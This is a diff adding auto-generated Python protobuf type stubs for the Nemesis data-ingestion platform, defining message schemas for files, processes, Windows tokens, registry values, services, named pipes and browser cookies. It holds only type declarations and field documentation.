+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___AuthenticationDataIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___AuthenticationDataIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___AuthenticationDataIngestionMessage = AuthenticationDataIngestionMessage
+
+@typing_extensions.final
+class FileDataIngestion(google.protobuf.message.Message):
+ """The content of a specific file system resource. The path must be in a UNC,
+ file system, or mapped path format. File system and mapped paths must be
+ absolute and use forward slashes for separators (e.g. /). Paths are expected
+ to be canonicalized but there is no verification of this.
+ ODR: `file_data`, defined in file_data.md
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ OBJECT_ID_FIELD_NUMBER: builtins.int
+ PATH_FIELD_NUMBER: builtins.int
+ SIZE_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ object_id: builtins.str
+ """Nemesis UUID referring to the uploaded file"""
+ path: builtins.str
+ """Case sensitive file path"""
+ size: builtins.int
+ """Size of the file, in bytes"""
+ originating_object_id: builtins.str
+ """If the file was extracted from another existing file in Nemesis (e.g., a zip or jar),
+ this optional field is the Nemesis UUID referencing the original file
+ """
+ def __init__(
+ self,
+ *,
+ object_id: builtins.str = ...,
+ path: builtins.str = ...,
+ size: builtins.int = ...,
+ originating_object_id: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["object_id", b"object_id", "originating_object_id", b"originating_object_id", "path", b"path", "size", b"size"]) -> None: ...
+
+global___FileDataIngestion = FileDataIngestion
+
+@typing_extensions.final
+class FileDataIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileDataIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___FileDataIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___FileDataIngestionMessage = FileDataIngestionMessage
+
+@typing_extensions.final
+class FileInformationIngestion(google.protobuf.message.Message):
+ """Information about a specific file system resource. Note that file_info is
+ more specialized than the path_list submission which may include information
+ about non-file system resources (ex. registry paths). The path must be in a
+ UNC, file system, or mapped path format. File system and mapped paths must be
+ absolute and use forward slashes for separators (e.g. /). Paths are expected
+ to be canonicalized but there is no verification of this. Submission
+ parameters may accommodate files from most operating systems. The only
+ submission parameters that are required is the file path and type. Note that
+ all date time parameters in ODRs including for the modified, access, and
+ creation times for Windows files are expected to be UTC.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ PATH_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ SIZE_FIELD_NUMBER: builtins.int
+ CREATION_TIME_FIELD_NUMBER: builtins.int
+ ACCESS_TIME_FIELD_NUMBER: builtins.int
+ MODIFICATION_TIME_FIELD_NUMBER: builtins.int
+ ACCESS_MODE_FIELD_NUMBER: builtins.int
+ GROUP_FIELD_NUMBER: builtins.int
+ ID_FIELD_NUMBER: builtins.int
+ OWNER_FIELD_NUMBER: builtins.int
+ SDDL_FIELD_NUMBER: builtins.int
+ VERSION_INFO_FIELD_NUMBER: builtins.int
+ path: builtins.str
+ """case sensitive file path"""
+ type: builtins.str
+ """case insensitive full name of file type
+ currently: file, folder, share
+ """
+ size: builtins.int
+ """size in bytes"""
+ @property
+ def creation_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """file creation time in UTC"""
+ @property
+ def access_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """file last access time in UTC"""
+ @property
+ def modification_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """file modification time in UTC"""
+ access_mode: builtins.int
+ """*nix permission number"""
+ group: builtins.str
+ """*nix case sensitive file group membership"""
+ id: builtins.str
+ """*nix string for an inode or file id"""
+ owner: builtins.str
+ """case sensitive owner (*nix and Windows)"""
+ sddl: builtins.str
+ """case sensitive Windows permission string"""
+ version_info: builtins.str
+ """optional Windows VersionInfo fields"""
+ def __init__(
+ self,
+ *,
+ path: builtins.str = ...,
+ type: builtins.str = ...,
+ size: builtins.int = ...,
+ creation_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ access_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ modification_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ access_mode: builtins.int = ...,
+ group: builtins.str = ...,
+ id: builtins.str = ...,
+ owner: builtins.str = ...,
+ sddl: builtins.str = ...,
+ version_info: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["access_time", b"access_time", "creation_time", b"creation_time", "modification_time", b"modification_time"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["access_mode", b"access_mode", "access_time", b"access_time", "creation_time", b"creation_time", "group", b"group", "id", b"id", "modification_time", b"modification_time", "owner", b"owner", "path", b"path", "sddl", b"sddl", "size", b"size", "type", b"type", "version_info", b"version_info"]) -> None: ...
+
+global___FileInformationIngestion = FileInformationIngestion
+
+@typing_extensions.final
+class FileInformationIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___FileInformationIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___FileInformationIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___FileInformationIngestionMessage = FileInformationIngestionMessage
+
+@typing_extensions.final
+class Principal(google.protobuf.message.Message):
+ """Used in ProcessIngestion"""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ SID_FIELD_NUMBER: builtins.int
+ NAME_FIELD_NUMBER: builtins.int
+ sid: builtins.str
+ """Security identifier, if known"""
+ name: builtins.str
+ """Name of the principal, if known. The format should be the Down-Level Logon Name (e.g., DOMAIN\\user)"""
+ def __init__(
+ self,
+ *,
+ sid: builtins.str = ...,
+ name: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["name", b"name", "sid", b"sid"]) -> None: ...
+
+global___Principal = Principal
+
+@typing_extensions.final
+class Token(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ class _TokenType:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+ class _TokenTypeEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[Token._TokenType.ValueType], builtins.type): # noqa: F821
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ TOKENTYPE_UNSPECIFIED: Token._TokenType.ValueType # 0
+ TOKENTYPE_PRIMARY: Token._TokenType.ValueType # 1
+ TOKENTYPE_IMPERSONATION: Token._TokenType.ValueType # 2
+
+ class TokenType(_TokenType, metaclass=_TokenTypeEnumTypeWrapper): ...
+ TOKENTYPE_UNSPECIFIED: Token.TokenType.ValueType # 0
+ TOKENTYPE_PRIMARY: Token.TokenType.ValueType # 1
+ TOKENTYPE_IMPERSONATION: Token.TokenType.ValueType # 2
+
+ class _ImpersonationLevel:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+ class _ImpersonationLevelEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[Token._ImpersonationLevel.ValueType], builtins.type): # noqa: F821
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ IMPERSONATIONLEVEL_UNSPECIFIED: Token._ImpersonationLevel.ValueType # 0
+ IMPERSONATIONLEVEL_ANONYMOUS: Token._ImpersonationLevel.ValueType # 1
+ IMPERSONATIONLEVEL_IDENTIFICATION: Token._ImpersonationLevel.ValueType # 2
+ IMPERSONATIONLEVEL_IMPERSONATION: Token._ImpersonationLevel.ValueType # 3
+ IMPERSONATIONLEVEL_DELEGATION: Token._ImpersonationLevel.ValueType # 4
+
+ class ImpersonationLevel(_ImpersonationLevel, metaclass=_ImpersonationLevelEnumTypeWrapper): ...
+ IMPERSONATIONLEVEL_UNSPECIFIED: Token.ImpersonationLevel.ValueType # 0
+ IMPERSONATIONLEVEL_ANONYMOUS: Token.ImpersonationLevel.ValueType # 1
+ IMPERSONATIONLEVEL_IDENTIFICATION: Token.ImpersonationLevel.ValueType # 2
+ IMPERSONATIONLEVEL_IMPERSONATION: Token.ImpersonationLevel.ValueType # 3
+ IMPERSONATIONLEVEL_DELEGATION: Token.ImpersonationLevel.ValueType # 4
+
+ @typing_extensions.final
+ class TokenPrivilege(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ PRIVILEGE_NAME_FIELD_NUMBER: builtins.int
+ ENABLED_FIELD_NUMBER: builtins.int
+ privilege_name: builtins.str
+ """Privilege name (e.g., SeDebugPrivilege)"""
+ enabled: builtins.bool
+ """Is the privileged enabled"""
+ def __init__(
+ self,
+ *,
+ privilege_name: builtins.str = ...,
+ enabled: builtins.bool = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["enabled", b"enabled", "privilege_name", b"privilege_name"]) -> None: ...
+
+ USER_FIELD_NUMBER: builtins.int
+ GROUPS_FIELD_NUMBER: builtins.int
+ PRIVILEGES_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ IMPERSONATION_LEVEL_FIELD_NUMBER: builtins.int
+ SESSION_FIELD_NUMBER: builtins.int
+ @property
+ def user(self) -> global___Principal: ...
+ @property
+ def groups(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Principal]: ...
+ @property
+ def privileges(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Token.TokenPrivilege]: ...
+ type: global___Token.TokenType.ValueType
+ impersonation_level: global___Token.ImpersonationLevel.ValueType
+ session: builtins.int
+ def __init__(
+ self,
+ *,
+ user: global___Principal | None = ...,
+ groups: collections.abc.Iterable[global___Principal] | None = ...,
+ privileges: collections.abc.Iterable[global___Token.TokenPrivilege] | None = ...,
+ type: global___Token.TokenType.ValueType = ...,
+ impersonation_level: global___Token.ImpersonationLevel.ValueType = ...,
+ session: builtins.int = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["user", b"user"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["groups", b"groups", "impersonation_level", b"impersonation_level", "privileges", b"privileges", "session", b"session", "type", b"type", "user", b"user"]) -> None: ...
+
+global___Token = Token
+
+@typing_extensions.final
+class ProcessIngestion(google.protobuf.message.Message):
+ """Information about the currently running processes for the host the agent is
+ running on. The file_name parameter must be in a UNC, file system, or mapped
+ path format. File system and mapped paths must be absolute and use forward
+ slashes for separators (e.g. /). Paths are expected to be canonicalized but
+ there is no verification of this. Submission parameters may accommodate
+ processes information for most operating systems. The only submission
+ parameter that is required is the process id. Note that all start time
+ parameters are expected to be from the Unix epoch.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ COMMAND_LINE_FIELD_NUMBER: builtins.int
+ FILE_NAME_FIELD_NUMBER: builtins.int
+ PROCESS_ID_FIELD_NUMBER: builtins.int
+ PARENT_PROCESS_ID_FIELD_NUMBER: builtins.int
+ ARCH_FIELD_NUMBER: builtins.int
+ START_TIME_FIELD_NUMBER: builtins.int
+ MEMORY_FIELD_NUMBER: builtins.int
+ TOKEN_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ """The name of the process"""
+ command_line: builtins.str
+ """The current command line information"""
+ file_name: builtins.str
+ """If known, the file that was executed"""
+ process_id: builtins.int
+ """Process id"""
+ parent_process_id: builtins.int
+ """Parent process id"""
+ arch: builtins.str
+ """Architecture of the process"""
+ @property
+ def start_time(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """When the process was started"""
+ memory: builtins.int
+ """The amount of memory used by the process, in bytes"""
+ @property
+ def token(self) -> global___Token:
+ """If present, Windows token information"""
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ command_line: builtins.str = ...,
+ file_name: builtins.str = ...,
+ process_id: builtins.int = ...,
+ parent_process_id: builtins.int = ...,
+ arch: builtins.str = ...,
+ start_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ memory: builtins.int = ...,
+ token: global___Token | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["start_time", b"start_time", "token", b"token"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["arch", b"arch", "command_line", b"command_line", "file_name", b"file_name", "memory", b"memory", "name", b"name", "parent_process_id", b"parent_process_id", "process_id", b"process_id", "start_time", b"start_time", "token", b"token"]) -> None: ...
+
+global___ProcessIngestion = ProcessIngestion
+
+@typing_extensions.final
+class ProcessIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ProcessIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ProcessIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ProcessIngestionMessage = ProcessIngestionMessage
+
+@typing_extensions.final
+class RawDataIngestion(google.protobuf.message.Message):
+ """Data that may consist of anything. Developers and operators may use this type
+ to push arbitrary data to the ODS to take advantage of any builtin or custom
+ automated post processing the ODS performs. Example use cases include daily
+ status reports, C2 logs, and other data that may be unique to the workflow of
+ a team.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TAGS_FIELD_NUMBER: builtins.int
+ IS_FILE_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def tags(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """User defined case insensitive keywords"""
+ is_file: builtins.bool
+ """Boolean for if data is a reference to a binary submission"""
+ data: builtins.str
+ """Raw data or a UUID reference to data in the ODS"""
+ def __init__(
+ self,
+ *,
+ tags: collections.abc.Iterable[builtins.str] | None = ...,
+ is_file: builtins.bool = ...,
+ data: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "is_file", b"is_file", "tags", b"tags"]) -> None: ...
+
+global___RawDataIngestion = RawDataIngestion
+
+@typing_extensions.final
+class RawDataIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___RawDataIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___RawDataIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___RawDataIngestionMessage = RawDataIngestionMessage
+
+@typing_extensions.final
+class RegistryValueIngestion(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ class _RegistryValueKind:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+ class _RegistryValueKindEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[RegistryValueIngestion._RegistryValueKind.ValueType], builtins.type): # noqa: F821
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ UNKNOWN: RegistryValueIngestion._RegistryValueKind.ValueType # 0
+ STRING: RegistryValueIngestion._RegistryValueKind.ValueType # 1
+ EXPAND_STRING: RegistryValueIngestion._RegistryValueKind.ValueType # 2
+ BINARY: RegistryValueIngestion._RegistryValueKind.ValueType # 3
+ DWORD: RegistryValueIngestion._RegistryValueKind.ValueType # 4
+ DWORD_BIG_ENDIAN: RegistryValueIngestion._RegistryValueKind.ValueType # 5
+ LINK: RegistryValueIngestion._RegistryValueKind.ValueType # 6
+ MULTI_STRING: RegistryValueIngestion._RegistryValueKind.ValueType # 7
+ QWORD: RegistryValueIngestion._RegistryValueKind.ValueType # 11
+
+ class RegistryValueKind(_RegistryValueKind, metaclass=_RegistryValueKindEnumTypeWrapper): ...
+ UNKNOWN: RegistryValueIngestion.RegistryValueKind.ValueType # 0
+ STRING: RegistryValueIngestion.RegistryValueKind.ValueType # 1
+ EXPAND_STRING: RegistryValueIngestion.RegistryValueKind.ValueType # 2
+ BINARY: RegistryValueIngestion.RegistryValueKind.ValueType # 3
+ DWORD: RegistryValueIngestion.RegistryValueKind.ValueType # 4
+ DWORD_BIG_ENDIAN: RegistryValueIngestion.RegistryValueKind.ValueType # 5
+ LINK: RegistryValueIngestion.RegistryValueKind.ValueType # 6
+ MULTI_STRING: RegistryValueIngestion.RegistryValueKind.ValueType # 7
+ QWORD: RegistryValueIngestion.RegistryValueKind.ValueType # 11
+
+ KEY_FIELD_NUMBER: builtins.int
+ VALUE_NAME_FIELD_NUMBER: builtins.int
+ VALUE_KIND_FIELD_NUMBER: builtins.int
+ VALUE_FIELD_NUMBER: builtins.int
+ SDDL_FIELD_NUMBER: builtins.int
+ TAGS_FIELD_NUMBER: builtins.int
+ key: builtins.str
+ """Case-sensitive absolute registry key path. Use backslashes for separators (e.g. `HKLM\\Software`)
+ This is the only required field since without it the others do not make sense.Alert
+ If all other fields aren't present, this indicates that the key exists and may or may not have values.
+ """
+ value_name: builtins.str
+ """(optional) Case sensitive value name. Set this to the empty string to indicate a key's default value."""
+ value_kind: global___RegistryValueIngestion.RegistryValueKind.ValueType
+ """(optional) Type of the registry value"""
+ value: builtins.str
+ """(optional) string representation of the value"""
+ sddl: builtins.str
+ """(optional) string SDDL representation of key's security descriptor"""
+ tags: builtins.str
+ """(optional) string comma separated tags for the registry key"""
+ def __init__(
+ self,
+ *,
+ key: builtins.str = ...,
+ value_name: builtins.str | None = ...,
+ value_kind: global___RegistryValueIngestion.RegistryValueKind.ValueType | None = ...,
+ value: builtins.str | None = ...,
+ sddl: builtins.str | None = ...,
+ tags: builtins.str | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_sddl", b"_sddl", "_tags", b"_tags", "_value", b"_value", "_value_kind", b"_value_kind", "_value_name", b"_value_name", "sddl", b"sddl", "tags", b"tags", "value", b"value", "value_kind", b"value_kind", "value_name", b"value_name"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_sddl", b"_sddl", "_tags", b"_tags", "_value", b"_value", "_value_kind", b"_value_kind", "_value_name", b"_value_name", "key", b"key", "sddl", b"sddl", "tags", b"tags", "value", b"value", "value_kind", b"value_kind", "value_name", b"value_name"]) -> None: ...
+ @typing.overload
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_sddl", b"_sddl"]) -> typing_extensions.Literal["sddl"] | None: ...
+ @typing.overload
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_tags", b"_tags"]) -> typing_extensions.Literal["tags"] | None: ...
+ @typing.overload
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_value", b"_value"]) -> typing_extensions.Literal["value"] | None: ...
+ @typing.overload
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_value_kind", b"_value_kind"]) -> typing_extensions.Literal["value_kind"] | None: ...
+ @typing.overload
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_value_name", b"_value_name"]) -> typing_extensions.Literal["value_name"] | None: ...
+
+global___RegistryValueIngestion = RegistryValueIngestion
+
+@typing_extensions.final
+class RegistryValueIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___RegistryValueIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___RegistryValueIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___RegistryValueIngestionMessage = RegistryValueIngestionMessage
+
+@typing_extensions.final
+class PathListIngestion(google.protobuf.message.Message):
+ """Child listings for a specified path. The path must be in a UNC, URI, file
+ system, or mapped path format. File system and mapped paths must be absolute
+ and use forward slashes for separators (e.g. /). Paths are expected to be
+ canonicalized but there is no verification of this. The mapped file format
+ may be used to specify a registry keys as well using PowerShell convention of
+ specifying the hive name as the drive (ex. HKLM:).
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ PATH_FIELD_NUMBER: builtins.int
+ ITEMS_FIELD_NUMBER: builtins.int
+ path: builtins.str
+ """Case sensitive resource path"""
+ @property
+ def items(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]:
+ """Case sensitive child items"""
+ def __init__(
+ self,
+ *,
+ path: builtins.str = ...,
+ items: collections.abc.Iterable[builtins.str] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["items", b"items", "path", b"path"]) -> None: ...
+
+global___PathListIngestion = PathListIngestion
+
+@typing_extensions.final
+class PathListIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___PathListIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___PathListIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___PathListIngestionMessage = PathListIngestionMessage
+
+@typing_extensions.final
+class ServiceIngestion(google.protobuf.message.Message):
+ """Information about Windows services."""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ DISPLAY_NAME_FIELD_NUMBER: builtins.int
+ DESCRIPTION_FIELD_NUMBER: builtins.int
+ START_NAME_FIELD_NUMBER: builtins.int
+ STATE_FIELD_NUMBER: builtins.int
+ START_MODE_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ SERVICE_COMMAND_FIELD_NUMBER: builtins.int
+ SERVICE_DLL_FIELD_NUMBER: builtins.int
+ SERVICE_SDDL_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ """Case sensitive service name."""
+ display_name: builtins.str
+ """Case sensitive service display name."""
+ description: builtins.str
+ """Case sensitive service description"""
+ start_name: builtins.str
+ """Case sensitive username the service starts as"""
+ state: builtins.str
+ """Case insensitive state of the service (running, stopped, etc.)"""
+ start_mode: builtins.str
+ """Case insensitive start mode of the service (automatic, disabled, etc.)"""
+ type: builtins.str
+ """Case insensitive type of the service."""
+ service_command: builtins.str
+ """Case sensitive, quote-escaped, binary path of the serbice binary + any arguments"""
+ service_dll: builtins.str
+ """Case sensitive file path of the service DLL being loaded into SVCHOST"""
+ service_sddl: builtins.str
+ """Case sensitive Windows permission string"""
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ display_name: builtins.str = ...,
+ description: builtins.str = ...,
+ start_name: builtins.str = ...,
+ state: builtins.str = ...,
+ start_mode: builtins.str = ...,
+ type: builtins.str = ...,
+ service_command: builtins.str = ...,
+ service_dll: builtins.str = ...,
+ service_sddl: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["description", b"description", "display_name", b"display_name", "name", b"name", "service_command", b"service_command", "service_dll", b"service_dll", "service_sddl", b"service_sddl", "start_mode", b"start_mode", "start_name", b"start_name", "state", b"state", "type", b"type"]) -> None: ...
+
+global___ServiceIngestion = ServiceIngestion
+
+@typing_extensions.final
+class ServiceIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___ServiceIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___ServiceIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ServiceIngestionMessage = ServiceIngestionMessage
+
+@typing_extensions.final
+class NamedPipeIngestion(google.protobuf.message.Message):
+ """Information about Windows named pipes."""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ SERVER_PROCESS_NAME_FIELD_NUMBER: builtins.int
+ SERVER_PROCESS_ID_FIELD_NUMBER: builtins.int
+ SERVER_PROCESS_PATH_FIELD_NUMBER: builtins.int
+ SDDL_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ """Case sensitive name."""
+ server_process_name: builtins.str
+ """Name of the server process that for named pipe, if known"""
+ server_process_id: builtins.int
+ """PID of the server process that for named pipe, if known"""
+ server_process_path: builtins.str
+ """Path of the server process that for named pipe, if known"""
+ sddl: builtins.str
+ """Case sensitive Windows permission string"""
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ server_process_name: builtins.str = ...,
+ server_process_id: builtins.int = ...,
+ server_process_path: builtins.str = ...,
+ sddl: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["name", b"name", "sddl", b"sddl", "server_process_id", b"server_process_id", "server_process_name", b"server_process_name", "server_process_path", b"server_process_path"]) -> None: ...
+
+global___NamedPipeIngestion = NamedPipeIngestion
+
+@typing_extensions.final
+class NamedPipeIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___NamedPipeIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___NamedPipeIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___NamedPipeIngestionMessage = NamedPipeIngestionMessage
+
+@typing_extensions.final
+class CookieIngestion(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ DOMAIN_FIELD_NUMBER: builtins.int
+ PATH_FIELD_NUMBER: builtins.int
+ NAME_FIELD_NUMBER: builtins.int
+ VALUE_FIELD_NUMBER: builtins.int
+ VALUE_ENC_FIELD_NUMBER: builtins.int
+ EXPIRES_FIELD_NUMBER: builtins.int
+ CREATION_FIELD_NUMBER: builtins.int
+ LAST_ACCESS_FIELD_NUMBER: builtins.int
+ LAST_UPDATE_FIELD_NUMBER: builtins.int
+ SECURE_FIELD_NUMBER: builtins.int
+ HTTP_ONLY_FIELD_NUMBER: builtins.int
+ SESSION_FIELD_NUMBER: builtins.int
+ SAMESITE_FIELD_NUMBER: builtins.int
